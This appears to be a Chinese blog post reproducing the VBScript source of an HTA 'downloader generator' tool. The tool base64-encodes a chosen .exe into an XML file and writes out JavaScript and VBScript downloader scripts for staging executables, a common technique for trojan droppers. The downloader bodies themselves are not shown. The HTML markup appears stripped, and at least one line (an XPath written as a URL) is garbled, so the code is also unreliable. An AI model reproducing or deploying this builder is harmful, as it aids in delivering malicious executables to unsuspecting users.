XMLDOM下载者生成器代码(xmldown.hta)(xml代码生成器)学会了吗

随心笔谈11个月前发布 admin
91 0

ID=”xmldown”

Caption=”yes”

SCROLL=”auto”

border=”none”

borderStyle=”static”

SINGLEINSTANCE=”yes”

maximizebutton=”no”

BORDER=”no”

icon=”dxdiag.exe”>

Sub Window_onLoad

window.resizeTo screen.width/1.6,screen.height/3

window.moveTo 200,200

End Sub

Sub CreateXml(path,File)

Set objStream=CreateObject(“ADODB.Stream”)

objStream.Type=1

objStream.Open()

objStream.LoadFromFile(Path)

objStream.position=0

Set XmlDoc=CreateObject(“Microsoft.XMLDOM”)

XmlDoc.async=False

Set Root=XmlDoc.createProcessingInstruction(“xml”, “version=’1.0′ encoding=’UTF-8′”)

XmlDoc.appendChild(Root)

XmlDoc.appendChild(XmlDoc.CreateElement(“root”))

Set Xfile=XmlDoc.SelectSingleNode(“http://root”).AppendChild(XmlDoc.CreateElement(“file”))

Set Xstream=Xfile.AppendChild(XmlDoc.CreateElement(“stream”))

Xstream.SetAttribute “xmlns:dt”, “urn:schemas-microsoft-com:datatypes”

Xstream.dataType=”bin.base64″

Xstream.nodeTypedValue=objStream.Read()

XmlDoc.Save(File)

Set XmlDoc=Nothing

Set Root=Nothing

Set objStream=Nothing

End Sub

Function x(obj)

Set x=document.getElementById(obj)

End function

Function Findfile(str)

Set FSO=CreateObject(“Scripting.FileSystemObject”)

If FSO.FileExists(str) Then

findfile=true

Else

findfile=false

End If

End Function

Function jsdown()

Set FSO=CreateObject(“Scripting.FileSystemObject”)

with fso.opentextfile((CreateObject(“WScript.Shell”)).CurrentDirectory&”\jsdown.js”,2,true)

.write x(“jsdown”).value

end with

end function

Function vbsdown()

Set FSO=CreateObject(“Scripting.FileSystemObject”)

with fso.opentextfile((CreateObject(“WScript.Shell”)).CurrentDirectory&”\vbsdown.vbs”,2,true)

.write x(“vbsdown”).value

end with

end function

1.生成下载用的xml文件

选择下载的exe文件:

保存路径

2.生成下载者

© 版权声明

相关文章